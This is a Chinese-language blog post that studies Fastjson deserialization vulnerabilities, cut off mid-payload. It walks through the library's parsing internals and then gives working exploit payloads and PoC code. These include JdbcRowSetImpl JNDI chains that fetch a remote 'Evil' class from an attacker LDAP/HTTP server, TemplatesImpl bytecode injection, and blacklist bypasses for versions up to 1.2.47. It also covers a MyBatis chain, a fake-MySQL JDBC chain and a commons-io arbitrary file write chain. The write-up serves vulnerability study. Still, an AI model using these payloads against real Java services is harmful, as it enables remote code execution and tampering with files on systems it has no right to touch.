fastjson反序列化漏洞学习(一)

这篇具有很好参考价值的文章主要介绍了fastjson反序列化漏洞学习(一)。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

0x00:Fastjson简介

Fastjson 是阿里巴巴开源的一个 Java 的 JSON 解析库。它提供了快速、高效、简洁的 JSON 解析功能。Fastjson 不仅支持常见的 JSON 数据类型(如字符串、数字、布尔值、数组、对象等),还支持 Java 原生数据类型(如整型、浮点型、数组、集合等)与 JSON 之间的互相转换。Fastjson 支持通过注解和 API 自定义 JSON 序列化和反序列化的过程,以满足不同的需求。总的来说,Fastjson 是一个高效、易用、功能丰富的 JSON 解析库,是处理 JSON 数据的首选工具。

0x001:产生反序列化漏洞的原因

Fastjson 反序列化漏洞产生的原因通常是由于 Fastjson 库在反序列化 JSON 数据时存在安全漏洞。这些漏洞可以被攻击者利用来执行任意代码、访问系统文件、读取敏感数据等危险操作。

具体来说,Fastjson 反序列化漏洞的产生原因包括:

1、反序列化时不对用户输入的 JSON 数据进行足够的安全检查,从而导致攻击者可以在反序列化的过程中注入恶意数据。

2、Fastjson 库支持反序列化非 Java 原生类型的对象,如果不对这些对象进行足够的安全限制,攻击者就可以通过构造恶意 JSON 数据来执行任意代码。

3、Fastjson 库在反序列化 JSON 数据时存在多处安全漏洞,例如针对关键字的黑名单检查不严格,对类型的限制不严格等。

4、Fastjson 库没有对类加载器进行足够的限制,从而导致攻击者可以利用类加载器加载恶意类,并在反序列化 JSON 数据时执行任意代码。

简单的来说:

Fastjson提供了autotype功能,允许用户在反序列化数据中通过“@type”指定反序列化的类型,Fastjson自定义的反序列化机制会调用指定类中的setter方法及部分getter方法,当组件开启了autotype功能并且反序列化不可信数据时,攻击者可以构造数据,使目标应用的代码执行流程进入特定类的特定setter或者getter方法中,若指定类的指定方法中有gadget,则会造成一些严重的安全问题。

0x003实验环境搭建

  1. 创建一个MVN项目,并在pom.xml中添加含有漏洞版本的Fastjson(本次实验的版本是1.2.24)

<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.24</version>
</dependency>
  1. 修改JDK版本为8u161 < jdk < 8u191(本次实验使用的是8U162)

fastjson反序列化漏洞,Java安全,学习,java,开发语言,Powered by 金山文档
  1. 创建一个pojo类

package flynAAAA;

public class Student {
    private String name;
    private int age;
    private String hobby;

    public  Student() {
    }

    public  Student(String name, int age, String hobby) {
        this.name = name;
        this.age = age;
        this.hobby = hobby;
    }

    public String getName() {
        System.out.println("调用了getName");
        return name;
    }

    public void setName(String name) {
        System.out.println("调用了setName");
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }

    public String getHobby() {
        return hobby;
    }

    public void setHobby(String hobby) {
        this.hobby = hobby;
    }

    @Override
    public String toString() {
        return "user{" +
                "name='" + name + '\'' +
                ", age=" + age +
                ", hobby='" + hobby + '\'' +
                '}';
    }
}
  1. 创建一个测试类

package flynAAAA;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class Unser {
    public static void main(String[] args) {
        Student user = new Student("FlynAAAA",18,"Play");

        String s2 = JSON.toJSONString(user, SerializerFeature.WriteClassName);//把user对象转换成带@type的json字符串
        System.out.println(s2);
        System.out.println("----------------------------------");
        Object parse1 = JSON.parseObject(s2);
        System.out.println(parse1);//把json字符串转换成对象
        System.out.println(parse1.getClass().getName());
    }
}
  1. 运行结果:

fastjson反序列化漏洞,Java安全,学习,java,开发语言,Powered by 金山文档

从结果可以看出

  1. 转换成的json字符串带@type,他的值为flynAAAA.Student,也就是说指定反序列化的类型为flynAAAA.Student

  1. 在使用parseObject将S2利用反序列化转换成对象的时候调用了Name的seter和geter方法。

0x004 调试反序列化过程:

接下来对反序列化流程进行分析:

fastjson反序列化漏洞,Java安全,学习,java,开发语言,Powered by 金山文档

紧接着将json字符串转换成parse对象,接下来进入parse对象中

fastjson反序列化漏洞,Java安全,学习,java,开发语言,Powered by 金山文档

再次对parse进行跟进。

fastjson反序列化漏洞,Java安全,学习,java,开发语言,Powered by 金山文档

进入parse中,这里回创建一个默认的parser对象“DefaultJSONParser”,继续跟进DefaultJSONParser。作用是对对输入的数据进行封装。

fastjson反序列化漏洞,Java安全,学习,java,开发语言,Powered by 金山文档

在DefaultJSONParser中会对输入的json字符串进行判断如果开头是“{”给一个token值为12,如果是“[”给值14。最终token的值为12.

fastjson反序列化漏洞,Java安全,学习,java,开发语言,Powered by 金山文档

紧接着返回parse类中,之后执行DefaultJSONParser类中的parse方法。继续进行跟进。

fastjson反序列化漏洞,Java安全,学习,java,开发语言,Powered by 金山文档

在DefaultJSONParser类中的,先将上一步DefaultJSONParser封装的结果赋值给lexer。

fastjson反序列化漏洞,Java安全,学习,java,开发语言,Powered by 金山文档

parse方法中会对前面的token值进行判断,不同token会进行不同的操作。Token值为12,首先创建了一个JSONObject对象,该对象是一个map类型的。之后在执行DefaultJSONParser类中的parseObject方法。

fastjson反序列化漏洞,Java安全,学习,java,开发语言,Powered by 金山文档

跟进DefaultJSONParser类中的parseObject方法,在该方法中会对当前对象的token值进行判断。之后根据转换的方式(转换方式可以这样理解:@type是自动转换)进行判断,根据转换方式得到需要反序列化类的名字(lexer.scanSymbol的作用就是得到需要反序列化类的名字,@type:flynAAAA.Student),之后使用TypeUtils.loadClass进行加载。

fastjson反序列化漏洞,Java安全,学习,java,开发语言,Powered by 金山文档

跟进TypeUtils.loadClass,需要反序列化类名别传入classname和classload被传入,此时classload为null。之后会在mappings进行查找flynAAAA.Student对应的值。

fastjson反序列化漏洞,Java安全,学习,java,开发语言,Powered by 金山文档

mappings的作用相当于缓存表里面存放着一些内置的类,由于mappings中没有flynAAAA.Student对应的值,所以当前clazz的值为空。

fastjson反序列化漏洞,Java安全,学习,java,开发语言,Powered by 金山文档

之后对clazz的值进行判断。

fastjson反序列化漏洞,Java安全,学习,java,开发语言,Powered by 金山文档

由于clazz的值为null,之后为clazz创建一个classload并放入mapping中。

fastjson反序列化漏洞,Java安全,学习,java,开发语言,Powered by 金山文档

之后返回到DefaultJSONParse#中的parseObiect中进行反序列化。跟进getDeserializer()

fastjson反序列化漏洞,Java安全,学习,java,开发语言,Powered by 金山文档

在getDeserializer(),首先在缓存里面进行查询。然后在进行getDeserializer,追进getDeserializer。

fastjson反序列化漏洞,Java安全,学习,java,开发语言,Powered by 金山文档

追进getDeserializer,也同样是在缓存里面进行检查,如果没有,会对反序列化的方式进行判断,不过之前会对有一个进行黑名单(denylist)判断。

fastjson反序列化漏洞,Java安全,学习,java,开发语言,Powered by 金山文档

Denylist的内容:

fastjson反序列化漏洞,Java安全,学习,java,开发语言,Powered by 金山文档

之后会以JavaBean的反序列化,在 createJavaBeanDeserializer使用JavaBean的反序列化。build方法通过反射加载clazz中的所有方法 位置com.alibaba.fastjson.util.JavaBeanInfo

fastjson反序列化漏洞,Java安全,学习,java,开发语言,Powered by 金山文档

之后在build方法中查找get、set

fastjson反序列化漏洞,Java安全,学习,java,开发语言,Powered by 金山文档
fastjson反序列化漏洞,Java安全,学习,java,开发语言,Powered by 金山文档

小结:

经过上面的调试,了解到fastjson将json字符串转换成对象时为什么调用Seter、get。以及反序列的流程,接下来分析gadget链子。

0x005:利用链分析

适用范围:Fastjson 1.2.22-1.2.24

  1. JdbcRowSetImpl利用链

漏洞原理:

@type指向com.sun.rowset.JdbcRowSetImpl类,dataSourceName值为RMI服务中心绑定的Exploit服务,autoCommit有且必须为true或false等布尔值类型

  1. 环境部署:

Fastjson版本:1.2.24

恶意rmi/ladp服务端:marshalsec-0.0.3-SNAPSHOT-all.jar

ldap:java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.40.128:9988/#Evil" 8088

rmi:java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.40.128:9988/#Evil" 8088
fastjson反序列化漏洞,Java安全,学习,java,开发语言,Powered by 金山文档

服务端恶意类:

import java.io.IOException;
public class Evil {
    // 静态代码块, 当类被加载时调用
    public Evil() throws Exception{
        Runtime.getRuntime().exec("calc");
}
}

在服务端恶意代码的当前目录下开启http服务:

python -m http.server 9988
fastjson反序列化漏洞,Java安全,学习,java,开发语言,Powered by 金山文档

创建一个mvn项目,并且创建一个demo

package flynAAAA;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;

public class jndi {
    public static void main (String[] args) {
       String exp="{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://192.168.40.128:8088/#Evil\",\"autoCommit\":true}";
                JSON.parseObject(exp);
            }
}

结果:

fastjson反序列化漏洞,Java安全,学习,java,开发语言,Powered by 金山文档
  1. JdbcRowSetImpl利用链分析

经过上面的反序列话调试的部分一直往下走,到setDataSourceName:4298, JdbcRowSetImpl (com.sun.rowset)

fastjson反序列化漏洞,Java安全,学习,java,开发语言,Powered by 金山文档

直到setDataSourceName,dataSource的值为服务器上的恶意ldap地址

fastjson反序列化漏洞,Java安全,学习,java,开发语言,Powered by 金山文档

这个时候调用栈为:

setDataSourceName:4309, JdbcRowSetImpl (com.sun.rowset)
deserialze:-1, FastjsonASMDeserializer_1_JdbcRowSetImpl (com.alibaba.fastjson.parser.deserializer)
deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:137, JSON (com.alibaba.fastjson)
parse:128, JSON (com.alibaba.fastjson)
parseObject:201, JSON (com.alibaba.fastjson)
main:10, jndi (flynAAAA)

直到JdbcRowSetImpl#setAutoCommit函数,设置autoCommit值,调用了connect()方法。跟进connect()方法。

fastjson反序列化漏洞,Java安全,学习,java,开发语言,Powered by 金山文档

在connect(),方法中this.con的值为空,紧接着判断DataSourceName(),上面已经知道DataSourceName值为ldap://192.168.40.128:8088/#Evil(可控),所以造成jndi漏洞。

fastjson反序列化漏洞,Java安全,学习,java,开发语言,Powered by 金山文档

Fastjson将对象转为Json通过toJSONString()方法,而将Json转换为对象有三个方法,这三个方法转换的时候也都会调用getter、setter,但触发条件不同:

1)parseObject(String text, Class\ clazz)
Getter

方法名需要长于4
非静态方法
以 get 字符串开头,且第四个字符需要是大写字母
方法不能有参数
返回值类型继承自Collection,Map,AtomicBoolean,AtomicInteger,AtomicLong
getter 方法对应的属性只能有 getter 不能有setter方法
方法为 public 属性

Setter
方法名长度大于4且以set开头
非静态函数
返回类型为void或当前类
参数个数为1个
方法为 public 属性

2)parseObject(String text)

getter
方法名长度大于4且以get开头
非静态函数
方法不能有参数
public 属性

setter
方法名长度大于4且以set开头
非静态函数
返回类型为void或当前类
参数个数为1个

3)parse (String text)

getter
方法名需要长于4
非静态方法
以 get 字符串开头,且第四个字符需要是大写字母
方法不能有参数
返回值类型继承自Collection,Map,AtomicBoolean,AtomicInteger,AtomicLong

getter 方法对应的属性只能有 getter 不能有setter方法
方法为 public 属性

setter
方法名长度大于4且以set开头
非静态函数 
返回类型为void或当前类
参数个数为1个
public 属性
  1. Templateslmpl利用链分析

漏洞原理:Fastjson通过bytecodes字段传入恶意类,调用outputProperties属性的getter方法时,实例化传入的恶意类,调用其构造方法,造成任意命令执行。

优点:不出网

前提:在使用parse反序列话的时候第二个参数需要设置“Feature.SupportNonPublicField”所以有很大的限制。

  1. 环境搭建

先生成POC,代码如下:

package flynAAAA;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.tomcat.util.codec.binary.Base64;

public class TEMPOC {
    public static class test{
    }

    public static void main(String[] args) throws Exception {
        // 实例化 ClassPool 用于修改class文件
        ClassPool pool = ClassPool.getDefault();
        // 获取test.class
        CtClass cc = pool.get(test.class.getName());

        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
        // 新建一个static代码块,内容为java.lang.Runtime.getRuntime().exec("calc.exe");
        cc.makeClassInitializer().insertBefore(cmd);
        // 设置类名。
        String randomClassName = "FlynAAAAA"+System.nanoTime();
        cc.setName(randomClassName);

        cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));
        // 将生成的class文件保存当当前项目目录下
        cc.writeFile("./");

        try {
            byte[]  evilCode= cc.toBytecode();
            String evilCode_base64 = new String(Base64.encodeBase64(evilCode));
            final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
            String text1 = "{"+
                    "\"@type\":\"" + NASTY_CLASS +"\","+
                    "\"_bytecodes\":[\""+evilCode_base64+"\"],"+
                    "'_name':'a.b',"+
                    "'_tfactory':{ },"+
                    "'_outputProperties':{ }"+
                    "}\n";
            // 输出构造好的POC
            System.out.println(text1);

        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

运行结果如下:

fastjson反序列化漏洞,Java安全,学习,java,开发语言,Powered by 金山文档

创建测试类:

package flynAAAA;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;

public class jndi {
    public static void main (String[] args) {
        String exp="{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADQAJgoAAwAPBwAhBwASAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAR0ZXN0AQAMSW5uZXJDbGFzc2VzAQAWTGZseW5BQUFBL1RFTVBPQyR0ZXN0OwEAClNvdXJjZUZpbGUBAAtURU1QT0MuamF2YQwABAAFBwATAQAUZmx5bkFBQUEvVEVNUE9DJHRlc3QBABBqYXZhL2xhbmcvT2JqZWN0AQAPZmx5bkFBQUEvVEVNUE9DAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAFQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMABcAGAoAFgAZAQAIY2FsYy5leGUIABsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAdAB4KABYAHwEAFEVyaXRrZW4zOTM5NzQwNjExMzAwAQAWTEVyaXRrZW4zOTM5NzQwNjExMzAwOwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQHACMKACQADwAhAAIAJAAAAAAAAgABAAQABQABAAYAAAAvAAEAAQAAAAUqtwAlsQAAAAIABwAAAAYAAQAAAA0ACAAAAAwAAQAAAAUACQAiAAAACAAUAAUAAQAGAAAAFgACAAAAAAAKuAAaEhy2ACBXsQAAAAAAAgANAAAAAgAOAAsAAAAKAAEAAgAQAAoACQ==\"],'_name':'a.b','_tfactory':{ },'_outputProperties':{ }}";
        JSON.parseObject(exp, Feature.SupportNonPublicField);
    }
}

运行结果:

fastjson反序列化漏洞,Java安全,学习,java,开发语言,Powered by 金山文档
  1. Templateslmpl链调试

前置:

ClassLoader 处理字节码的流程为 loadClass -> findClass -> defineClass

loadClass: 从已加载的类缓存、父加载器等位置寻找类(这里实际上是双亲委派机制),在前面没有找到的情况下,执行 findClass

findClass: 根据基础URL指定的方式来加载类的字节码

defineClass:处理前面传入的字节码,将其处理成真正的Java类

而Classloader#defineClass是protected方法,所以不可以直接调用,写一个简单的demo:

package flynAAAA;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import java.lang.reflect.Method;
public class Demo
{
    // 定义test类用做恶意类
    public static class test{}
    public static void main(String[] args) throws Exception
    {
        // 反射拿 defineClass() 方法
        Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class,byte[].class, int.class, int.class);
        // 暴力访问
        defineClass.setAccessible(true);
        // 实例化 ClassPool 用于修改class文件
        ClassPool pool = ClassPool.getDefault();
        // 获取test.class
        CtClass cc = pool.get(Demo.test.class.getName());
        // 定义恶意静态方法
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
        // 新建一个static代码块,内容为java.lang.Runtime.getRuntime().exec("calc.exe");
        cc.makeClassInitializer().insertBefore(cmd);
        // 设置类名。
        String randomClassName = "FlynAAAA"+System.nanoTime();
        cc.setName(randomClassName);
        cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));
        // 将生成的class文件保存当当前项目目录下
        cc.writeFile("./");
        // 获取恶意类的字节码
        byte[] evilCode = cc.toBytecode();
        System.out.println(evilCode);
        // 加载恶意类的字节码
        Class hello = (Class)defineClass.invoke(ClassLoader.getSystemClassLoader(),null, evilCode, 0, evilCode.length);
        hello.newInstance();
    }
}

结果:

fastjson反序列化漏洞,Java安全,学习,java,开发语言,Powered by 金山文档

这里必须要newInstance(),否则即使是定义的static静态代码块也不会被加载,这就意味着想要利用defineClass去加载恶意字节码执行命令,就必须要有方法能够调用恶意类的构造方法(真正加载恶意类)

回到正题:

TemplatesImpl重写了defineClass(),并且这里没有显式地声明其定义域。Java中默认情况下,如果一个方法没有显式声明作用域,其作用域为default。所以也就是说这里defineClass由其父类的protected类型变成了一个default类型的方法,可以被类外部调用。

fastjson反序列化漏洞,Java安全,学习,java,开发语言,Powered by 金山文档

由于fastjson使用JSON.parseObject方法反序列化会调用get 和set方法.在TemplatesImpl中属性的get和set方法中getOutputProperties方法重写了newTransformer方法

fastjson反序列化漏洞,Java安全,学习,java,开发语言,Powered by 金山文档

继续跟进 newTransformer,发现在newTransformer里面使用了getTransletInstance(),

fastjson反序列化漏洞,Java安全,学习,java,开发语言,Powered by 金山文档

跟进getTransletInstance()需要_name!=null,_class == null

fastjson反序列化漏洞,Java安全,学习,java,开发语言,Powered by 金山文档

由于TemplatesImpl对defineclass进行了重写 对_bytecodes中的恶意代码进行加载,导致执行恶意代码.

fastjson反序列化漏洞,Java安全,学习,java,开发语言,Powered by 金山文档

Poc:

{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQAJgoAAwAPBwAhBwASAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAR0ZXN0AQAMSW5uZXJDbGFzc2VzAQAWTGZseW5BQUFBL1RFTVBPQyR0ZXN0OwEAClNvdXJjZUZpbGUBAAtURU1QT0MuamF2YQwABAAFBwATAQAUZmx5bkFBQUEvVEVNUE9DJHRlc3QBABBqYXZhL2xhbmcvT2JqZWN0AQAPZmx5bkFBQUEvVEVNUE9DAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAFQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMABcAGAoAFgAZAQAIY2FsYy5leGUIABsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAdAB4KABYAHwEAF0ZseW5BQUFBQTE4ODY1MDE3NDAyNzAwAQAZTEZseW5BQUFBQTE4ODY1MDE3NDAyNzAwOwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQHACMKACQADwAhAAIAJAAAAAAAAgABAAQABQABAAYAAAAvAAEAAQAAAAUqtwAlsQAAAAIABwAAAAYAAQAAAA0ACAAAAAwAAQAAAAUACQAiAAAACAAUAAUAAQAGAAAAFgACAAAAAAAKuAAaEhy2ACBXsQAAAAAAAgANAAAAAgAOAAsAAAAKAAEAAgAQAAoACQ=="],'_name':'a.b','_tfactory':{ },'_outputProperties':{ }}

0x006 高版本绕过方式:

  1. 1.2.25~1.2.41

1.2.25开始fastjson默认关闭了反序列化的类,如果需要反序列化类,需要开启AutoType,开启后对反序列化的类进行黑名单检测。下面是开启AutoType后的对白名单进行绕过。

环境搭建:

Fastjsong版本:

<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.25</version>
</dependency>

开始先对在com.alibaba.fastjson.parser中加载黑名单:

fastjson反序列化漏洞,Java安全,学习,java,开发语言,Powered by 金山文档

之后在TypeUtils加载之前,进行checkAutoType检查:

fastjson反序列化漏洞,Java安全,学习,java,开发语言,Powered by 金山文档

跟进checkAutoType,之后进行黑名单匹配

fastjson反序列化漏洞,Java安全,学习,java,开发语言,Powered by 金山文档

之后使用TypeUtils.classload进行加载该类

fastjson反序列化漏洞,Java安全,学习,java,开发语言,Powered by 金山文档

继续跟进,如果传入的类以“L”开头,以“;”结尾,那么便会掐头去尾,保留中间部分

fastjson反序列化漏洞,Java安全,学习,java,开发语言,Powered by 金山文档

结果将@type的值改成“Lcom.sun.rowset.JdbcRowSetImpl”,就能进行绕过。

fastjson反序列化漏洞,Java安全,学习,java,开发语言,Powered by 金山文档
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://192.168.40.128:8088/#Evil", "autoCommit":1}
  1. 1.2.25~1.2.42

fastjson版本:

<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.42</version>
</dependency>

在1.2.42,官方将黑名单类做hash混淆处理:

fastjson反序列化漏洞,Java安全,学习,java,开发语言,Powered by 金山文档

在checkAutoType方法中先对typeName进行长度判断大于3切小于128

fastjson反序列化漏洞,Java安全,学习,java,开发语言,Powered by 金山文档

与黑名单中的hash进行拼配后,为了修复上个版本的“L ;”绕过,在进入loadclass之前就进行“掐头去尾”,处理。

fastjson反序列化漏洞,Java安全,学习,java,开发语言,Powered by 金山文档

不难看出在loadclass方法里进行了“掐头去尾”处理,但这个loadclass方法是回调函数。

fastjson反序列化漏洞,Java安全,学习,java,开发语言,Powered by 金山文档

进行了三次“掐头去尾”后处理结果。

fastjson反序列化漏洞,Java安全,学习,java,开发语言,Powered by 金山文档

直到结果:

fastjson反序列化漏洞,Java安全,学习,java,开发语言,Powered by 金山文档

结果:

fastjson反序列化漏洞,Java安全,学习,java,开发语言,Powered by 金山文档

poc:

{"@type":"LLLcom.sun.rowset.JdbcRowSetImpl;;;","dataSourceName":"ldap://192.168.40.128:8088/#Evil", "autoCommit":1}
  1. 1.2.25~1.2.43

Fastjson版本:

<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.43</version>
</dependency>

经过上面的研究,可以想到这次修复肯定修复了LL开头,但是使用[又可以进行绕过。

fastjson反序列化漏洞,Java安全,学习,java,开发语言,Powered by 金山文档

Poc:

String exp="{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{,\"dataSourceName\":\"ldap://192.168.40.128:8088/Evil\", \"autoCommit\":true}]}"; 
//这里又一个fastjson第一个{是可以不用闭合,也就是说最后可以少一个}。理解不了没关系,这个POC是完整的闭合。
  1. 1.2.25~1.2.45

基于Mybatis的利用链

org.apache.ibatis.datasource.jndi.JndiDataSourceFactory,这条链子同样影响1.2.45,但Mybatis的版本必须小于3.5.6

Mybatis版本:

<dependency>
    <groupId>org.mybatis</groupId>
    <artifactId>mybatis</artifactId>
    <version>3.5.5</version>
</dependency>

Fastjson版本:

<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.43</version>
</dependency>

Demo:

package flynAAAA;
import org.apache.ibatis.datasource.jndi.JndiDataSourceFactory;
import java.util.Properties;

public class client2 {
    public static void main(String[] args) throws Exception {
        JndiDataSourceFactory jndiDataSourceFactory = new JndiDataSourceFactory();
        Properties datasource = new Properties();
        datasource.setProperty("data_source", "ldap://192.168.40.128:8088/Evil");
        jndiDataSourceFactory.setProperties(datasource);
    }
}

如果properties中存在data_source键,则将对应值带如lookup(),造成JNDI注入:

fastjson反序列化漏洞,Java安全,学习,java,开发语言,Powered by 金山文档
fastjson反序列化漏洞,Java安全,学习,java,开发语言,Powered by 金山文档

最终POC:

{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://192.168.40.128:8088/#Evil"}
fastjson反序列化漏洞,Java安全,学习,java,开发语言,Powered by 金山文档
  1. <=1.2.47

这次这个版本(借助浅蓝大佬的文章进行学习)可以在不需要开启autoTypeSupport的触发漏洞:

Fastjson版本:

<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.47</version>
</dependency>

在checkAutoType中,在开启autoTypeSupport的情况下,代码会走到Arrays.binarySearch(this.denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null来进行判断抛出异常,如果不符合的话会继续往下走从Mapping和deserializers缓存中寻找类,如果存在则返回clazz.这次使用的是java.lang.Class刚好可以绕过黑名单检测。通过deserializers.findClass找到该类。

fastjson反序列化漏洞,Java安全,学习,java,开发语言,Powered by 金山文档

而在ParserConfig类初始化时会执行initDeserializers方法,会向deserializers中添加许多的类,类似一种缓存,其中会添加这么一个类this.deserializers.put(Class.class, MiscCodec.instance);接下来直接进入MiscCode.java中的deseriale方法,lexer.token() == JSONToken.LITERAL_STRING为false走到else,紧接着进入parser.paser中,objVal的值为com.sun.rowset.JdbcRowSetImpl。

fastjson反序列化漏洞,Java安全,学习,java,开发语言,Powered by 金山文档

之后对objval的值进行判断,objVal赋值给strVal

fastjson反序列化漏洞,Java安全,学习,java,开发语言,Powered by 金山文档

随后进入TypeUtils.loadClass中,

fastjson反序列化漏洞,Java安全,学习,java,开发语言,Powered by 金山文档

跟进TypeUtils.loadClass,首先在mappings里面查找com.sun.rowset.JdbcRowSetImpl没有找到,之后创建一个为此创建了一个classload并加入缓存中。

fastjson反序列化漏洞,Java安全,学习,java,开发语言,Powered by 金山文档

当程序第二次加载checkAutoType()时,恶意类已经存在于mapping缓存中,所以成功取值clazz,直经过判断后接返回

fastjson反序列化漏洞,Java安全,学习,java,开发语言,Powered by 金山文档

非常巧妙地绕过了AutoType与黑名单机制,触发RCE,1.2.47的精髓就在于,通过java.lang.class触发缓存机制,利用loadClass()的递归解析将JdbcRowSetImpl添加到缓存,从而绕过了checkAutoType()与黑名单。

  1. <=1.2.68

总结到这里真的麻了!!!!!(分析过程就先省略,有机会再补充)

升级后的checkAutoType()验证的流程图

Fastsjon版本:

<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.68</version>
</dependency>

MySQL版本

<dependency>
    <groupId>mysql</groupId>
    <artifactId>mysql-connector-java</artifactId>
    <version>5.1.11</version>
</dependency>

这里Mysql的RCE利用的是JDBC的反序列化链,原理就是通过JDBC连接MySQL服务端时,会执行SQL查询,其中查询的结果集会在客户端调用ObjectInputStream.readObject()进行反序列化操作,如果我们能够控制结果以及连接地址,就会触发RCE。

需要用到fakemysql下载连接:

https://github.com/fnmsd/MySQL_Fake_Server/

下载完成之后解压将yso放到当前目录:

fastjson反序列化漏洞,Java安全,学习,java,开发语言,Powered by 金山文档

之后开启server:

fastjson反序列化漏洞,Java安全,学习,java,开发语言,Powered by 金山文档

Demo:

{
        "@type": "java.lang.AutoCloseable",
        "@type": "com.mysql.jdbc.JDBC4Connection",
        "hostToConnectTo": "127.0.0.1",
        "portToConnectTo": 3306,
        "info": {
        "user": "yso_CommonsCollections5_calc",
        "password": "pass",
        "statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",
        "autoDeserialize": "true",
        "NUM_HOSTS": "1"
        },
        "databaseToConnectTo": "dbname",
        "url": ""
        }

结果:

fastjson反序列化漏洞,Java安全,学习,java,开发语言,Powered by 金山文档

还有师傅挖掘到了基于commons-io 2.0~2.6 的任意文件写入链,

POC:

package flynAAAA;
import com.alibaba.fastjson.JSON;
import java.util.Random;
public class client6
{
    private static final Random RAND = new Random();
    public static void main(String[] args) {
        String aaa_8192 = "FlynAAAAA"+"\n"+getRandomString(81920);
        String write_name = "E://2.txt";
        String payload_commons_io_filewrite_0_6 = "{\"x\":{\"@type\":\"com.alibaba.fastjson.JSONObject\",\"input\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.apache.commons.io.input.ReaderInputStream\",\"reader\":{\"@type\":\"org.apache.commons.io.input.CharSequenceReader\",\"charSequence\":{\"@type\":\"java.lang.String\"\""+aaa_8192+"\"},\"charsetName\":\"UTF-8\",\"bufferSize\":1024},\"branch\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.apache.commons.io.output.WriterOutputStream\",\"writer\":{\"@type\":\"org.apache.commons.io.output.FileWriterWithEncoding\",\"file\":\""+write_name+"\",\"encoding\":\"UTF-8\",\"append\": false},\"charsetName\":\"UTF-8\",\"bufferSize\": 1024,\"writeImmediately\": true},\"trigger\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\"is\":{\"@type\":\"org.apache.commons.io.input.TeeInputStream\",\"input\":{\"$ref\":\"$.input\"},\"branch\":{\"$ref\":\"$.branch\"},\"closeBranch\": 